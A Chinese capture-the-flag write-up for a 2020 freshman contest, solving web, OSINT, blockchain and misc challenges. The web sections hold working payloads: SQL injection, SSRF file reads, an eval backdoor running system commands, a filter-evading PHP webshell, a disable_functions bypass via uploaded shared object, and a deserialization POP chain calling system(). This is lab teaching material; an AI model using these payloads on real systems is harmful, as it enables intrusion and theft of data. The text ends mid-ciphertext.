2020新生赛部分WriteUp

WEB

假的签到

题目提示前往robots.txt查看

利用php中md5函数的特性,在PHP中,MD5是不能处理数组的,md5(数组)会返回null,所以md5($phpp[])==null,md5($hphh[])==null

因此传参phpp[]=1&hphh[]=2,得到flagctf{r0bots_1s_g00d}

世界上最简单的后门

先利用eval执行系统命令,对系统内的所有flag进行扫描system("find / | grep flag");

再利用eval执行系统命令,对/flag进行查看system("cat /flag");

得到flagctf{gOoo0od}

Let’s play a simple game again

Get传参Xp0int=666

Post传参Xp0int=JoinUs

御剑爆后台,得到部分源码

1
2
3
4
5
6
7
$GetIPs = GetIP();
$cookie = base64_decode(getallheaders()['Cookie']);
if ($GetIPs !== "127.0.0.1" || $cookie !== 'admin=1'){
die("What's your problems? You are not admin!");
}else{
echo 'Welcome admin! Here is your flag:'.$flag;
}

添加XFF头指向127.0.0.1并将cookie中的base64编码后得到的admin=0修改为admin=1并重新base64编码

得到flagctf{Have_4_n1ce_c0mpetition!}

babyssrf

随手传个参数url=file:///flag(果然baby…)

得到flagctf{ssrf_1s_soooo_fun}

babysql

基于字符型的SQL注入,关键在于单引号的闭合

1' order by 1#

' or 1=1;show tables;#

' or 1=1;show tables;show columns from flag;#

得到flagctf{enjoy_Sq1i11_qu3ryy}

lottery_revenge

查看抽奖界面的源代码,发现其无法正常抽奖同时发现其请求的是data.php

查看data.php

$_POST['admin_key']==$_SESSION['key']存在弱比较,将admin_key传空值,即可正常进行抽奖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import urllib
import urllib2
import json
import time
data={'admin_key':''}
data_urlencode = urllib.urlencode(data)
requrl = "http://42.194.147.119:15326/data.php"
req = urllib2.Request(url = requrl,data = data_urlencode)
while 1:
res_data = urllib2.urlopen(req)
res = res_data.read()
js=json.loads(res[428:])
time.sleep(0.01)
if js["angle"]<195 and js["angle"]>165:
print(js["flag"])
break

跑了差不多3分钟才出结果(老非酋了…

ctf{The_next_step_is_in_the_real_f1ag_is_h3re.php}

打开the_real_f1ag_is_h3re.php

发现采用的是mt_rand(),利用php的随机种子数泄露之后就能够利用该种子数来预测序列

可以根据mt_rand的值对mt_srandseed进行反推,去网上抄了个jio本

1
2
3
4
5
6
7
8
9
10
<?php
$str = "1mV7aOQMUrz";
$randStr = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

for($i=0;$i<strlen($str);$i++){
$pos = strpos($randStr,$str[$i]);
echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
}
echo "\n";
?>

得到的结果为

53 53 0 61 12 12 0 61 47 47 0 61 59 59 0 61 0 0 0 61 40 40 0 61 42 42 0 61 38 38 0 61 46 46 0 61 17 17 0 61 25 25 0 61

https://www.openwall.com/php_mt_seed/工具(下载4.0版)进行爆破(在虚拟机貌似用不了AVX512进行加速,所以丢服务器上跑了)

seed384211261

根据seed将整个str算出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$str = '';
$all_alpha = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";


mt_srand(384211261);


$flag_len = 30;
for ( $i = 0; $i < $flag_len; $i++ ){
$str.=substr($all_alpha, mt_rand(0, strlen($all_alpha) - 1), 1);
}
echo $str
?>

str1mV7aOQMUrzFAb3zhexXWF6RGqU10B

得到flagctf{mt_rand_is_s0_weak_and_y0u_can_bre4k}

又一个后门

发现执行不了命令 /readflag

目标应该是执行/readflag

首先看禁用函数,可知exec全禁

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,system,exec,shell_exec,popen,proc_open,passthru,link,symlink,syslog,ld,mb_send_mail

对当前目录进行扫描c=var_dump(scandir(getcwd()));

得到

1
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) "index.html" [3]=> string(9) "index.php" }

对根目录进行扫描c=var_dump(scandir("/"));

得到

1
array(25) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(4) "flag" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(8) "readflag" [16]=> string(4) "root" [17]=> string(3) "run" [18]=> string(4) "sbin" [19]=> string(3) "srv" [20]=> string(8) "start.sh" [21]=> string(3) "sys" [22]=> string(3) "tmp" [23]=> string(3) "usr" [24]=> string(3) "var" }

尝试对readflag进行读取,康康有没有有效信息c=var_dump(show_source("/readflag"));

readflag主要进行flag的读取,猜测flag不能直接读

构造一句话进行上传(这里有点忘了,做题的时候可以,复现的时候有时可以有时不行,可能是做题的时候搭了便车??)

c=var_dump(fputs(fopen("/tmp/shell.php","w"),"<?php eval("));

c=var_dump(fputs(fopen("/tmp/shell.php","a"),"$"));

c=var_dump(fputs(fopen("/tmp/shell.php","a"),"_POST['b']);?>"));

分开三份上传,貌似存在关键词过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import urllib
import urllib2
import time
data={'c':'var_dump(include("/tmp/shell.php"));'}
data_urlencode = urllib.urlencode(data)
requrl = "http://42.194.147.119:20334/index.php"
req = urllib2.Request(url = requrl,data = data_urlencode)
'''
res_data = urllib2.urlopen(req)
res = res_data.read()
print res[:418]
'''
while 1:
res_data = urllib2.urlopen(req)
time.sleep(0.1)

使用蚁剑进行连接

发现终端无法使用

参考这篇文章进行攻击

通过蚁剑将bypass.so文件和bypass_disablefunc.php文件上传到/tmp目录下

构造payload来执行/readflag

cmd=/readflag&outpath=/tmp/flag.txt&sopath=/tmp/bypass_disablefunc_x64.so

得到flagctf{bypass_d1s@ble_Functi0n_1s_s0_3z}

P.S 做完后清除自己的文件,顺手搅下屎(逃

P.S.S 这道题我拿的是二血,拿三血的老哥在做完题后貌似没有清理文件,然后这题就变成了/tmp/flag.txt的读取题…

unserialize

题目源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

highlight_file(__FILE__);
class A{
public $data;
public function __destruct()
{
$this->data->close();
}
}
class B{

public $cache;
public function getit($key){
if (isset($this->cache[$key])){
return $this->cache[$key];
}
}
public function __call($method, $args)
{

return call_user_func_array($this->getit($method), $args);

}
}
class C{

public $evil,$arggg;
public function evallll(){
call_user_func($this->evil,$this->arggg);

}
}
unserialize($_GET['sssssss']);

POP链的构造方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

#highlight_file(__FILE__);
class A{
public $data;
public function __construct()
{
$this->data=new B();
$this->data->cache=array("close"=>array($c=new C,"evallll"));
#默认情况下__call函数的method为close,但是B中有一个getit函数,可以构造键值对,让close指向C中的evallll并进行C的实例化
$c->evil="system";
$c->arggg="find / | grep flag";
}
public function __destruct()#类销毁时调用$this->data->close,而B中没有close这个函数,因此可以进入__call函数
{
$this->data->close();
}
}
class B{
public $cache;
public function getit($key){
if (isset($this->cache[$key])){
return $this->cache[$key];
}
}
public function __call($method, $args)#在对象中调用一个不可访问方法时,__call()会被调用。
{
#echo $this->getit($method)."\n\n";
return call_user_func_array($this->getit($method), $args);

}
}

class C{

public $evil,$arggg;
public function evallll(){
#echo "123456789\n\n".$this->evil."\n\n";
call_user_func($this->evil,$this->arggg);#利用call_user_func来进行文件扫描和读取

}
}

#unserialize($_GET['sssssss']);
$b = new A;

echo "\n\n\n\n";
echo serialize($b);#将$b序列化
echo "\n\n\n\n";
echo urlencode(serialize($b));#将$b序列化后的结果进行url编码
?>

得到的序列为O:1:"A":1:{s:4:"data";O:1:"B":1:{s:5:"cache";a:1:{s:5:"close";a:2:{i:0;O:1:"C":2:{s:4:"evil";s:6:"system";s:5:"arggg";s:18:"find / | grep flag";}i:1;s:7:"evallll";}}}}

find / | grep flag改成cat /flag即可进行flag的读取

得到flagctf{Y0u_r_g00d_4t_PHp!!1!}

OSINT

checkin

得到flagctf{xp0intjnushianbeigiantbranch}

find_the_attacker

http://blog.leanote.com/xp0int与谷歌快照比对,发现有三处异常(在做题时快照还是未修改的状态,在写wp时快照已经刷新,无法复现比对过程…)

百度服务且有长后缀,推测为百度网盘

https://pan.baidu.com/s/1yEt5juom35MATrGy_UWq9w

hint提示为弱密码(Weak pwd maker),试出来是1234

下载word文档后清除所有格式

得到4tt4ckW1thD3sf3ns3根据题目提示在github进行搜索

在ourplans中发现有一张图片和8个commit,从中分析得到

<!-- http://39.108.108.70:8888/pay_for.php -->

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
//......
if($_GET["key"] !== "Con_goodjob")
die("Please step by step.");
$reg = $_GET["region"];
if($reg < 87 && $reg >= 0){
echo "<b>[".$reg."]:</b> ";
echo $locs[$reg];
}
else{
echo "<b>What's your problem?</b>";
}
?>

打开网址http://39.108.108.70:8888/pay_for.php,检索源代码,没有发现有效信息

打开http://39.108.108.70:8888,得到localtion.txt

分别有两组浮点数,推测为散点图或者是地图的经纬度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
23.879114,46.6970954
24.2636355,47.6825664
24.8459109,46.7648681
25.1864871,47.7343156
25.351282,46.8475858
24.1317996,47.5715023
24.0439089,47.4156159
23.945032,47.2443522
23.9010867,47.1024545
23.8571414,46.945179
24.3844851,47.5715023
24.5382937,47.4230496
24.615198,47.2741771
24.6921023,47.1398328
24.8019656,46.9826676
24.0988406,47.2145105
24.3075808,47.2592668
24.4723757,47.2890833
25.2304324,47.5863245
25.2633914,47.4081812
25.318323,47.2368934
25.3293093,47.0874959
26.2192019,47.9996428
26.1862429,47.8892548
26.2301882,47.7047509
26.2521609,47.5789139
26.2851199,47.4230496
26.3400515,47.2890833
26.4609011,47.9481577
26.625696,47.8524065
26.8014773,47.6825664
26.8783816,47.5344284
26.3949832,47.1323592
26.9223269,47.3933087
26.82345,47.2741771
26.4389285,46.9901622
26.6696414,47.0201299
26.8454226,47.1921182
21.8905886,45.7009791
22.1213015,45.7009791
22.3520144,45.7086515
22.5497683,45.723993
22.7914675,45.7316622
22.3630007,45.5242242
22.3849734,45.3391904
22.406946,45.161297
22.4179324,44.9828465
22.4289187,44.8116333
24.1208132,45.7469975
24.9008425,45.7776553
24.0988406,45.5780782
24.1317996,45.3469122
24.1647585,45.1458017
24.1757449,45.0216875
24.9997195,45.6626015
25.0107058,45.4703187
25.0107058,45.2928371
25.0326785,45.1225508
24.5712527,45.5934555
24.7030886,45.8082963
24.3734988,45.7316622
25.4281863,45.8848251
25.4611453,45.6779557
25.4941042,45.4934274
25.5380496,45.3005653
25.5600222,45.1690431
25.7907351,45.2000169
26.054407,45.246446
26.3070925,45.2773776
27.4826296,46.1594571
27.3178347,46.2203012
27.1090945,46.2658901
26.9333132,46.2203012
26.7795046,46.1442356
26.7026003,45.9765207
26.8783816,45.8848251
27.0651492,45.8618775
27.2629031,45.8465739
27.4496707,45.7853172
27.526575,45.6702792
27.5705203,45.6088287
27.5046023,45.4857255
27.4167117,45.4163615
27.2738894,45.4009357
27.1200808,45.3623528
26.9223269,45.3855057
26.7685183,45.5319208
1
2
3
4
5
6
7
8
import matplotlib.pyplot as plt 
#plt.figure(figsize=(10, 16.5))
plt.xlim(xmax=28,xmin=21)
plt.ylim(ymax=48,ymin=44)
plt.plot([23.879114,24.2636355,24.8459109,25.1864871,25.351282,24.1317996,24.0439089,23.945032,23.9010867,23.8571414,24.3844851,24.5382937,24.615198,24.6921023,24.8019656,24.0988406,24.3075808,24.4723757,25.2304324,25.2633914,25.318323,25.3293093,26.2192019,26.1862429,26.2301882,26.2521609,26.2851199,26.3400515,26.4609011,26.625696,26.8014773,26.8783816,26.3949832,26.9223269,26.82345,26.4389285,26.6696414,26.8454226,21.8905886,22.1213015,22.3520144,22.5497683,22.7914675,22.3630007,22.3849734,22.406946,22.4179324,22.4289187,24.1208132,24.9008425,24.0988406,24.1317996,24.1647585,24.1757449,24.9997195,25.0107058,25.0107058,25.0326785,24.5712527,24.7030886,24.3734988,25.4281863,25.4611453,25.4941042,25.5380496,25.5600222,25.7907351,26.054407,26.3070925,27.4826296,27.3178347,27.1090945,26.9333132,26.7795046,26.7026003,26.8783816,27.0651492,27.2629031,27.4496707,27.526575,27.5705203,27.5046023,27.4167117,27.2738894,27.1200808,26.9223269,26.7685183],[46.6970954,47.6825664,46.7648681,47.7343156,46.8475858,47.5715023,47.4156159,47.2443522,47.1024545,46.945179,47.5715023,47.4230496,47.2741771,47.1398328,46.9826676,47.2145105,47.2592668,47.2890833,47.5863245,47.4081812,47.2368934,47.0874959,47.9996428,47.8892548,47.7047509,47.5789139,47.4230496,47.2890833,47.9481577,47.8524065,47.6825664,47.5344284,47.1323592,47.3933087,47.2741771,46.9901622,47.0201299,47.1921182,45.7009791,45.7009791,45.7086515,45.723993,45.7316622,45.5242242,45.3391904,45.161297,44.9828465,44.8116333,45.7469975,45.7776553,45.5780782,45.3469122,45.1458017,45.0216875,45.6626015,45.4703187,45.2928371,45.1225508,45.5934555,45.8082963,45.7316622,45.8848251,45.6779557,45.4934274,45.3005653,45.1690431,45.2000169,45.246446,45.2773776,46.1594571,46.2203012,46.2658901,46.2203012,46.1442356,45.9765207,45.8848251,45.8618775,45.8465739,45.7853172,45.6702792,45.6088287,45.4857255,45.4163615,45.4009357,45.3623528,45.3855057,45.5319208],'ro')

plt.savefig('test.jpg')
plt.show()

得到flagctf{AIDTMLS}

BLOCKCHAIN

Check in

位于以太坊的测试链而非主链上…

https://ropsten.etherscan.io/

得到flagctf{ZSJJ_YYDS!!!!}

星际文件系统

先用ipfs get将文件下载,存在jpg文件头,进行拼接

文件中存在图片2的sha256,只需要将这个转换为ipfs的Qm开头的hash即可,在原sha256串的前面加1220的头,然后转换为base58即可得到图片2的hash

下载后,将图片1重新分片上传得到hash1

ipfs add -s size-71680 1.jpg

1
2
3
<?php
echo "ctf{".md5("QmfUc5cpg1XEZhTHwdQVqnaBDYYMN2PgS1FnRsMxtoce1hQmcRqFZzLMMsngQnyaWMjR5cyEVGPdfaJkmWc6JbzRRvrb")."}"
?>

得到flagctf{c83901bbd399063a63c16a64b267bce7}

MISC

Look_at_your_keyboard

1
ewazx tyugv iuhbvghj uhb iujmn iuhbvghj yhnmki vgyhnji

得到flagctf{ctfisfun}

Do you know Xp0int

得到flagctf{We1c0me_to_Join_Us}

Buddha

1
新佛曰:梵諸隸梵僧降吽諸陀摩隸僧缽薩願降迦梵喼修我梵慧我伏願如闍所眾梵嘇梵心寂聞慧梵夷迦嘚蜜嚩所嚤劫梵囉梵降梵寂隸空塞薩梵如囑梵

解密网站

Y3tXX3p9dFhuYlJmMlJEUw==

base64解码得到c{W_z}tXnbRf2RDS

栅栏密码,栏数为3

得到flagctf{X2WnR_bDzRS}

EasyMisc

这种方法应该是非预期解法

new.png在攻防世界中有原题,在攻防世界中得到原图,与new.png进行盲水印的提取

得到flagctf{LSGG_TKDY_ddddhm}

P.S 有的题目在提取盲水印时会使用python2的脚本,而python2在安装opencv时会出现问题,原因是opencv从某个版本开始不再支持python2

解决方法pip install opencv-python==4.2.0.32

close_base

base64隐写

1
2
3
4
5
6
7
8
9
10
11
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('1.txt', 'rb') as f:
bin_str = ''
for line in f.readlines():
stegb64 = ''.join(line.split())
rowb64 = ''.join(stegb64.decode('base64').encode('base64').split())
offset = abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=','')[-1]))
equalnum = stegb64.count('=') #no equalnum no offset
if equalnum:
bin_str += bin(offset)[2:].zfill(equalnum * 2)
print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)])

得到flagctf{magic_bs64a!}

PMGBA

taste.png经过查找发现为口袋妖怪的图腾

转换成文字为remember to examine the

分离taste.png得到2张图片

一张图片为大量的pikachu,为pika language

在线OCR进行扫描并进行手动修补

pika_language解密网站

1
2
3
pi pi pi pi pi pi pi pi pi pi pika pipi pi pipi pi pi pi pipi pi pi pi pi pi pi pi pipi pi pi pi pi pi pi pi pi pi pi pichu pichu pichu pichu ka chu pipi pipi pipi pi pi pi pi pi pi pi pi pikachu pipi pi pi pi pi pi pi pi pi pi pi pi pikachu pi pikachu ka ka ka ka ka ka ka ka ka ka ka pikachu pichu pichu pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka ka ka ka ka ka pikachu pipi pipi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu ka ka ka ka pikachu pi pi pi pikachu pikachu ka ka ka ka ka ka ka ka ka pikachu ka ka ka ka pikachu pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu pichu pichu pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka ka ka ka ka ka ka ka pikachu pipi pi pi pi pi pi pi pikachu pipi ka ka ka ka ka ka ka ka ka ka ka pikachu pi pikachu pi pi pi pi pi pi pi pi pi pi pikachu pichu pichu pikachu pipi pipi ka ka ka ka ka ka ka ka ka ka pikachu pi pi pi pi pi pi pi pi pi pi pikachu pichu pichu pikachu pipi pipi pi pi pi pi pikachu ka ka ka ka ka pikachu ka ka ka pikachu ka pikachu ka ka ka ka ka ka ka pikachu pichu pichu pikachu pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka ka ka ka ka ka ka ka ka ka ka ka pikachu

Nope, sorries. This is wrong :(

在该图片中隐藏有一段base64加密

解密并转换为hex写入文件,可以得到一个压缩包,被加密,里面有hidden.txt

小的图片存在png隐写,用zsteg直接爆破

pwd is 58growliness

hidden.txt内容为

1
pi pi pi pi pi pi pi pi pi pi pika pipi pi pipi pi pi pi pipi pi pi pi pi pi pi pi pipi pi pi pi pi pi pi pi pi pi pi pichu pichu pichu pichu ka chu pipi pipi pipi pipi pi pi pikachu pi pi pi pi pi pi pi pi pi pikachu pikachu pichu pichu pi pi pikachu pipi pipi ka ka ka ka ka ka ka ka ka ka ka ka ka pikachu ka pikachu pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu

解码得到foo bar

得到flagctf{remember to examine the foo bar}

集齐五龙珠

暴力解法

将文件按时间排序并批量重命名

在Ubuntu下用cat进行拼接

得到压缩包,进行解压,得到图片

得到flagctf{so_mAny_f!les_g0_r3l@x_y0ur_3y3}

快乐修补匠

图片部分被加密,winhex打开在文件末尾提示为流密码加密,推测为RC4加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Cipher import ARC4
import base64
key = b'zygg_txd1'

'''
cipher = ARC4.new(key)
message = b'Open the pod bay doors, HAL'
ciphertext = cipher.encrypt(message)
print(ciphertext)
'''
ciphertext=base64.b64decode("KfEZbOO1bpYNkdvoPAhrDQnyd0STOZuunOCPm99VPYJ7+FivjDJ60wD6lKQRa5WViziAwOQzf0l0YArG8LuyomhPgPhme/Vm1fzV2Cw3O8o2CK9gRgtqkhmdgSK/hogHzDq5y5n9bTAH7zAX+Io/v12NBq9fDj9D9VyI3mst0hqzarHFs0YsF6ygzF15O5RwQF5KCub9eMvbKRb3tmCdcbAkVn3alOp1JpFBxiFbVqwiwZSMY6IlsZf2pYpQsm/qTny+TkvFNs25ihkuc5adqaW9RyaUMI3h62ZrOVJyR5AdOOSvNK3VYMZRAaO9ez3Xjporx7Kp266iVmHdGx5pl+rZKdSNTtFKUd5VyYTXeltA7CbHubc2Bh3DCdigfimhabMs/YbCcTiK0mGPDvS9n3Wb6sKMO3LQmX9y/ZJPnrXT1pR2HVF+3bIKYYGQiidbj2vCnGaubTPIwKm9IK64ClrjTUAbzW3+LyoyRflLKKebLcG4xblbHn0x+Mbawc5FTKFv1RckJN8Y1ScK1uK74e0lwd0fhD7Ibn5PgrgG5xu7IaIvVp9DkwJLgLEosjJ/i0bjqr18O1q9I+PWW2rILlZVPfKT0gt9V31vpHnwM3aWgU+ABNnYAZ3mZ1Qhm/ga54m3p+M2rwkEdVtTvIpNdwNobtf4ubnUfHQxNKk0H957H6Y/yLScZOuTKnp5rvm0m1T4qHXbWYKGoZEj6lUJcFNQjf8tr1PU6L97VJ4UxhLWqGp8sGClru138U5jiC6mpooy8gXJtpq9beknqcWp5b8WsfiwMdYNC8Ci8z7I+OjJNYxkbhQ23VuOaMUpvm27xU0pf4rPJqM2PKlajInlkxbZFDK5bfbOeD+l1Z/uEPvr7nyYO50+coqWjecSFbr4sy+RShSyhZDbwTM8S+9XNtd/UnELG3JJ3SP4TDQHLVWHjUc6yPVMBDlcd48yXQjsObjRFQ9zDRs47SNRJ74EtKlBncdzh+IVLpsvTh8Xr6IVFdqm5jC28iAt9lBwFVMAN8wdYSkaKY1d1D5aarQZMGu3Ug7asFfGWGRpGcoQl6skarykZtzxj8aHyvNsVRU5cImOzvtWMLEZwNy3q9K3PgDJAwDiSWmnZy5Uupq8WMsGqVKfWXHUdnk6vwbhfOiYjIkYPr8qi5c+NRd07XdObzBRLL0TLM/qutq3f7DT94Ubdj5qLtj4AaQgfGsCajI/gGblpEK4Z/kg96kF66tJJQU940A8SdGyQNuS4RvnNhsBa1S8ekHBNsRVwmIjZf/wSgc/x7Z3a7MoM70epMmu1/fDW6/S2XlHHFQpSVWesLYPnG6EMiUyQFx6zDIaIo4CLLtI37hDcyjfpnoWLAhnhliKlAwrmJs79z7B+rK+vlzmcAiAFJmlG9owckpIbhFuGazr1iapVZ3b2FOEMAhiXN+b9waWaHm/d/LM72y28m5+V4vO8rs1At9heWTSLrnLoPKA9qfTNbfyy/C0400EAOWx+J1AE0t2IQO3Kfzr5zrQLH0wDHvjsCvkza7rYw0OnSk1xa5p3/2ctzpy6wV6eTv8cze1E4/K0KKTkaXqX5eF3QMTn9CguZY2l4XxJzxI8uGVGQ+4N4TJGAeI+416Cmvi8H4v/QqdW6wr6zoW4T262fKIFXXhzyNKEvUUe7oibH3TKIRVoZvmohM4eHNg3MgF7aF+gDDje7M4ZDTQWplW44U7bT94vh86O1IIEXMY2opSGLcy2n2mdyMSpRGD9MvrmD9kl1/hEk5NcS0DN6s7V9CjorXIaDRvQ7u5ck8SN6miCeTHybX1Yek7adNhvVGXOlXk6bYMXdhaBVb8DfGHvXzs3Qp3V3uZ4jQUPQp2YhMHm0TnRbE5cBmalQB8TnHYQsd5WjiARQtIuz2D9dyLxV3CMrJ0uv3P7v+xrFHKv15+41v1x2V/KiEkmB4/p/gNCqzL1oO/vO2AcAuP47AHZoOjO6j+yVMLKcQeweAW7WTWQHXgTzeaY+MWmAlvuPCYiLYe5uAb4LEGKaDLlBqIi+KuaY450/XGNJAx6Lvbaiff1Nrm1EhhrtV+siGnnrvggFK0wmxJpV6bkOMPPl3Th8to/DUUajuwvN7Uh/FPkUxDr71NrVodyRHUCsZCihcVi+OdVjlqxvUYJbnAZLoOf1xXv079JgVL2PHW9HOEHRFibfF1zLBbyKAD+uIlBKj95hO/DBOZ0Q9AKJHeLynPQYvBBt91PQPJCoA3+rwKap8ZbySGtfLD0P39Zds4YDDVd7TzboVDFy/9tS3E6RAHZ81lJTm6J4k8mUKlXQRMeyMUis5OmbGAj35FN8j2ctkXJI4A+p94zPYzbq7zIch+kAemEuEU8fwP56mH8q39XxtxJGW6zReNQZnSn5CXZN7MIMzXjsgb2YYX1DBn1G69xylXw/pvX5QZt1zjVL6Kti64u19i5iJDU9929WwOh5PcbWF6OagTEVa2TQHpYT1GcW8QcF9kbpDif1AHC3DCr8wDROYJA/EY0APylR0erzRIq0YCsUiiu5CMm2gSDgJJ/yzOFeqULmXiRgg1kZntfU9MJTRgFceGNsSchJIJAYWMZ5q7kvnDRL6xxAQI8iFOXV2GDAGhN05yacjcMnAmoaWoSVwzsbmqUL2loMoLMONc8GyIEhGp0T8YEC72quTq2XdkQdQepQnxbBK/q8jkeAVIrUF9+XJ2PBNMj0iLjgTGsEL9mF+0gi2GMBwvfdQs1PznH42b19HoLmaYQPDS9fyOXDmlC/SurWRlKJb5GPI8L46QzaL2Caxu6rD26tXQM2OD1x71v7Zn3PR678OpdOoBOWmHq246bOn2RDSmDVRm/CB0z0Od+TU/6Ol9L4BoFq7FgTtkdF6HVMskTpawZ+CAvZdVPikD8hekGTLZd4YfKmMG+I1IMZ27OUlUAsgpr+75zNMaX+aUAL6YJady9h1YLJWM/Utc0ZnBOUHZCU3G9rkXijmzhhTaK5OMDW7f+mrjQcLPlMs8bBUpKB2m2NBJ69biBuptTnH11ZuzFBDp/Jnazw6Vui4VEj47/1TevWtD72z3kh8teuMI9yjmI5uXZvMYqF2fS2TY8LZ6GRQT1i4CM2WRsDbBCbOiD/O3/nhzKYEEOQRn/MrCTTp9igPg7coAv4b337c80mBsVlqIv+e6DzgQ0WjISZRWq93pv2hEL+UDBR/QYCvvVJjKeCX8Gc+Z2eSspw1QlAZDD+vJ4eKvz2SOX5byHjnj8f3WdOuOBTfbAs2dgeQGObdNyxh4I2e+D6BiAzcAFS40o7+J37PecnF7qyJnc6jgimIl+dWv9iWDUACqFv2iuNDHJ76NK9doJpRrOKUVZ16Q1AU8G9U2tTridePOMKrNH3CqHAXaWPvN8lfugEz4xF9YnpLjOwSoKjjeKgyjIzIQPWDWkbk/mgwEoCihmwovAX6xY6PpizmaO2NQ5YCi3RRYkeVXjdLD7iAtVCyYbafaAgQbQ4fkzxvdxRd6XpbKpPq4AZUXxH4SXxa1GLPl7vJxboJ2D9MJffq1SX3eUpOnYEBqe7UrLT2nTGpf0xz0s7m389mionY3Ls2lXaGjkoVYnXdLBWnNac3qZSuRwdgNkKHljM3NBzFaLEATb0Gg+9qitwno9NafZmuVXI79XbGN0d42Z5ZM2juBYmB+VcuOmK/m2RiA7G4+ZzafTrlxxYq2S+XeAOM5sZwsTNt/oslGZ8R62gicMmoRpKGtqmivqAfF8OKT57FS6eCzAYbMXYJij8vYwa35J4N0F1Z85/zjOva2p2bNKC1JDpoDQGPK8p9xOZPMtAxNibkFZCLL4FTndgFcENoXbm/uLmq1GpLRz+wEu2HImdN5UxLYXFaoYrj/DFEP3rTQ71v0i5tZplkM+P8X1cIlxstaP2ex19MpS6T4tHlxDaJz0Gnla4on/QpQyFvd4pSPb2M3ow5+54b7Pi+dzedkgLgehl79K89A6do9dx+HsDlEgoozmIbwkJsRdjMBtl0dnGnzx/vbD23QsP08MTwPRBsGzylMlTCcH5TqrbcTAji7KsaT6Bok1o+yeU+wsiUP0JlDQCcMaXl0N+pYyg61LyACT5EwFAegqW2NZyPfGR8mRkjv7fP3cuh5689P5BLZPUp3075nGeUxueS8nxRS0lnCjKjV62TqFBK+AjjFwoHb8pxq+1hkwZ382+jFFPyRAXhfAZ1q9G6y9kzAELHrDxj7EgeTjQjw0I/tfjGtU2HNlbq0zsq/kXh1wb/7AB7OP5ndKs1LtiZJ/JCm7lKkjORTsMVFKfXBzpiBUktKOti8BnSs5uLzcq9gT+Xu7zns34UOF3He/XkB8XOgwKy448fQcRVP+H6wp6YSB/H8vr+siO6B651NSQSQU3+L6OJi8eaS8fLQGTHY04jU9fUg9oTNbUppR7pTwFTzusi1PI48iu81ILfUBPKYuoJIzfx19EE22GsRxO2CISLggBf75OoAeniikKp68Mk2UUMy/5ntaKWEgueeQ/jrX5e4Sq/vWXMofN1FR+svxiyLfQ9WA/z2xdP7qBUMN8IFW3pn1eEQal4T2Iq4sdXAjqMw+sH79mBDWhThpwLBFZDQoAe3L0AAsXcVHx7XtagommceLF9lhTvYIR4arBhZvIkZJVH/3az/h4c7Cfmj0B9uVElTdEGY1H1z0TsU+s22GNgsJS07rzsfA1YuDEFQ5P0nXUc+lFGPRRcTQ0jYulaBTV3zPe96du2LiGrU8OSgeg0kc6mXy0zQI8UxCntHBnhECcdw+5DGjxGT7uR2lNVsEAiwOuM3hTEKv90jHpOI3DCEyCxttL0TsgS9Nt24De8bOn8U8hhYS40gOY1zm9VM3qkOa2s1ENVLlJwnstl5WaoitYdKL9nKCd+c3RNKFGirhC9SHa10kXetBaPPxHh9oevWaGJzOUQV06TIBbiD4Jowgz+1KCdMeSR2RvF7KWhDlX9aPLxd3tUPSukVGuaNjY8/uSuyHEk53y2vykDyTnfQoBKEm1/OM5RaDZTjipX/QqBHsL22ymBVvUCcPf+VVOwn6YPLHRDfMAempsnK2KL7ReCN7Fmbc9d/awDBELiXKxUtK+GRDcGxv1NKLP38NFno72yIaNLRja5o2yBU0Vat3vUUmWVpWYVlW/0LK2Dnjkz1lmiEGaiuxHk9igV2VlZ9Cz2So5u79yima5ts2eAviK1CJqDlNnGIZ2TkSQwRooYh1GNXYyszy75yVrnATj0fr7/6wJEXwcE4tFb5WMJ5Qy/9WS/ybSMn/u7